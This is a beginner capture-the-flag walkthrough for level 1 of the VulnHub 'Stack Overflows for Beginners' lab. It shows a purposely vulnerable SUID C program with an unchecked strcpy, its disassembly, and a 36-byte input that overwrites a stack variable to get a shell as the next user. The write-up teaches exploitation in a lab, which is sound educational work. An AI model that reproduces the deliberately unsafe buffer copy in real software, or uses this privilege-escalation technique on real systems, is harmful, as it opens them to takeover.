Stack Overflows for Beginners — Level 1

Updated July 25, 2025

In this post, we’ll explore the fundamentals of exploiting stack-based buffer overflows using the “Stack Overflows for Beginners: 1.0.1” challenges from VulnHub. We’ll walk through analyzing the source code, understanding how memory works, and using tools like gdb to manipulate program execution — all without needing advanced knowledge.

These challenges are great for learning stack-based buffer overflows, especially if you’re just starting out in binary exploitation or exploit development.

This walkthrough is part of my beginner-level training series, Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.

About the Challenges

This is a series of levels created to help people learn and practice stack overflow vulnerabilities. The challenges were originally developed for the Sheffield University Ethical Hacking Society.

You start at level 0, and your goal is to exploit a vulnerable binary to get the flag for the next user (e.g. level1). When you succeed, you get that user’s password from their flag file, which lets you switch users and move on to the next level.

Main Goals

There are five flags to collect, each in the home directory of the next user:

  • /home/level1/level1.txt
  • /home/level2/level2.txt
  • /home/level3/level3.txt
  • /home/level4/level4.txt
  • /root/root.txt

Each file contains the password for that user.

So for example:

  • If you are currently level0, your goal is to read /home/level1/level1.txt.
  • After you get the flag, you can switch users using su level1 and continue to the next challenge.

Level 1 Objectives

  • Learn how to identify vulnerable code patterns through static code analysis
  • Use gdb to perform basic disassembly of a binary
  • Understand the structure of a C program and how function calls work at the assembly level
  • Practice manipulating control flow by modifying variable values at runtime
  • Lay the groundwork for later stages by getting comfortable with stack inspection and program state manipulation

Static Analysis

We are given the source code file levelOne.c and the compiled binary levelOne.

First, let’s check the binary details using the file command:

$ file levelOne | tr ',' '\n'
levelOne: setuid
 setgid ELF 32-bit LSB pie executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 3.2.0
 BuildID[sha1]=c7f79d9aa9e2ae354f484314499aaa4b48035c3a
 not stripped

Now, let’s list the file with detailed permissions:

$ ls -ltra levelOne
-rwsr-sr-x 1 level1 level1 15640 Jun  8  2019 levelOne

What this tells us

  • The binary is a 32-bit ELF executable for Intel i386 architecture
  • It is dynamically linked and uses position-independent execution (PIE)
  • The binary is not stripped, so symbols are still present — useful for reverse engineering
  • Most importantly, it has the SUID bit set (-rwsr-sr-x), and it is owned by level1

This means:

When we run this binary as a regular user (e.g. level0), it will execute with level1‘s privileges. This is exactly what we need to escalate to the next level.

We’ll take advantage of this SUID binary during a buffer overflow attack and get the flag for level1.

Reviewing the Source Code

Let’s take a quick look at the source code of the levelOne binary:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    
    uid_t uid = geteuid();

    setresuid(uid, uid, uid);

    long key = 0x12345678;
    char buf[32];

    strcpy(buf, argv[1]);

    printf("Buf is: %s\n", buf);
    printf("Key is: 0x%08x\n", key);

    if(key == 0x42424242) {
        execve("/bin/sh", 0, 0);
    }
    else {
        printf("%s\n", "Sorry try again...");
    }

    return 0;
}

The program starts by setting its user ID to the effective user ID using setresuid(). This allows the program to run with level1’s privileges (because of the SUID bit). A variable key is set to a fixed value: 0x12345678. Then it defines a buffer of 32 bytes: char buf[32]; The program copies the user’s input (from argv[1]) into buf using strcpy(). It prints the contents of buf and the current value of key. Next, it checks:

if (key == 0x42424242)

If the value of key can be changed to 0x42424242, it executes a shell using: execve("/bin/sh", 0, 0);

The main vulnerability here is in the use of the strcpy() function. This function does not check the length of the input, so if the user provides more than 32 bytes, it will overflow the buf array and overwrite the next variable on the stack — which in this case is key.

If we manage to overwrite the key variable with the value 0x42424242 by overflowing the buffer, the condition in the ifstatement becomes true, and we get a shell as the level1 user.

Now that we know our goal — to overwrite the key variable and execute a shell — let’s look at how this works in the assembly.

In the disassembled code below, you can see where the comparison happens:

   0x0000126c <+131>:	add    esp,0x10
   0x0000126f <+134>:	cmp    DWORD PTR [ebp-0x20],0x42424242
   0x00001276 <+141>:	jne    0x1290 <main+167>
   0x00001278 <+143>:	sub    esp,0x4
   0x0000127b <+146>:	push   0x0
   0x0000127d <+148>:	push   0x0
   0x0000127f <+150>:	lea    eax,[ebx-0x1fdc]
   0x00001285 <+156>:	push   eax
   0x00001286 <+157>:	call   0x1090 <execve@plt>
   0x0000128b <+162>:	add    esp,0x10

As shown above, the value of the variable key (located at [ebp-0x20]) is compared to 0x42424242. If the value matches, the program continues and executes /bin/sh.

We also know that the buffer buf is located at [ebp-0x40] and is 32 bytes in size. Since key is placed right after the buffer on the stack, writing 32 bytes fills the buffer, and writing 4 more bytes will overwrite the key variable.

This works because during the function prologue, the base pointer (ebp) is set to the current stack pointer (esp), and local variables are placed at negative offsets from ebp.

Exploiting the Program

To test this, we can give the program a 36-byte input:

$ ./levelOne $(python3 -c "print('B' * 36)")
Buf is: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Key is: 0x42424242

The key value has been successfully overwritten. As a result, the condition becomes true and the program gives us a shell with level1 privileges:

$ whoami
level1

Now we can read the next flag:

$ cd /home/level1
$ ls
level1.txt  levelTwo
$ cat level1.txt
[REDACTED]

We now have the password for level1 and have successfully completed the first challenge. In the next post, I will continue with the level1 challenge, where we will explore a new binary and learn new techniques to find the next flag.